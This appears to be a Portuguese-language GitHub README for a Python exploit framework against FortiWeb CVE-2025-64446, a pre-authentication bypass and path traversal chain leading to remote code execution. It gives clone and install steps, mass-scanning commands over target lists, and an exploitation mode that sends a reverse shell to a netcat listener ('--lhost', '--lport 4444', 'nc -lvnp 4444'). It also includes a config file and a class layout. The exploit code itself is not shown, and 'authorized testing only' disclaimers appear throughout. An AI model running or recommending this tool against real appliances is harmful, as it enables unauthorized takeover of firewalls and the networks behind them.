
Ferramenta de pesquisa de segurança para a vulnerabilidade CVE-2025-64446 do FortiWeb. Framework de exploração automatizada com registro avançado, métricas em tempo real, depuração de proxy e relatórios profissionais. Inclui lógica de repetição, multithreading e configurações personalizáveis. Apenas para testes de segurança autorizados. CVSS 9.8 Crítico.
Framework profissional de pesquisa em segurança e avaliação de vulnerabilidades
Instalação · Início Rápido · Guia de Uso · Arquitetura · Referência de CLI · Aviso Legal e Ético
A FortiWeb Research Tool é um framework de avaliação em Python para detecção e análise autorizadas da CVE-2025-64446, um problema crítico de execução remota de código pré-autenticação que afeta appliances FortiWeb Web Application Firewall.
| Atributo | Detalhe |
|---|---|
| Autor | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (Crítico) |
| Classe | Bypass de autenticação + path traversal → upload arbitrário de arquivos → RCE |
| Afetados | Builds anteriores a 7.6.7 / 7.8.7 / 8.0.2 (verifique no advisory oficial) |
| Remediação | Atualize para uma versão corrigida do FortiWeb |
| Linguagem | Python 3.7+ |
| Ponto de entrada | exploit.py |
| Modo | Flag(s) | Finalidade |
|---|---|---|
| Detecção | --detect-only | Indicadores de vulnerabilidade não exploratórios |
| Seguro / somente leitura | --safe-mode | Ignora etapas de exploração que alteram o sistema |
| Varredura em massa | --targets + --scan-mode | Avaliação paralela de múltiplos alvos |
| Exploração | --target + --lhost | Cadeia controlada somente em laboratórios autorizados |
| Dry run | --dry-run | Exercita o fluxo sem aplicar alterações |
| Relatórios | --output-dir | Relatórios de engajamento em JSON + HTML |
| Campo | Valor |
|---|---|
| ID da CVE | CVE-2025-64446 |
| Pontuação CVSS | 9.8 (Crítico) |
| Impacto | Comprometimento total do sistema quando explorado com sucesso |
| Correção | Atualize para 7.6.7, 7.8.7, 8.0.2 ou versões posteriores |
Sempre confirme as versões afetadas/corrigidas junto ao PSIRT da Fortinet antes de definir o escopo do engajamento.
| Uso | Resultados da Varredura |
|---|---|
![]() | ![]() |
| Saída HTML |
|---|
![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| Pacote | Função |
|---|---|
requests, urllib3 | Cliente HTTP |
rich, colorama, tqdm | Interface de terminal e progresso |
pyyaml | Carregamento do config.yaml |
Opcionais (dev): pytest, black, flake8, mypy, python-dotenv — consulte requirements.txt.
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Nota: O modo de exploração exige
--lhost. Use--detect-onlyou--safe-modequando não pretender executar a cadeia completa.
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
A detecção avalia acessibilidade, indícios de versão, exposição da API, indicadores de path traversal, sinais de bypass de autenticação e acessibilidade do endpoint de upload. O risco é classificado como Crítico / Alto / Médio / Baixo com base nesses indicadores.
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
O ScannerManager executa workers FortiWebScanner por meio de um pool de threads, exibe uma tabela de resumo Rich e grava scan_report.json / scan_report.html.
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
As flags da CLI sobrescrevem os valores carregados do YAML.
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| Componente | Responsabilidade |
|---|---|
FortiWebScanner | Verificações de acessibilidade, versão e indicadores de CVE |
ScannerManager | Varreduras paralelas, relatórios consolidados JSON/HTML, tabela de resumo |
FortiWebExploit | Sessão orientada por configuração, novas tentativas, métricas, relatórios, caminho de exploração opcional |
LogManager | Registro estruturado em arquivo + console colorido |
Fluxo de alto nível para um único alvo: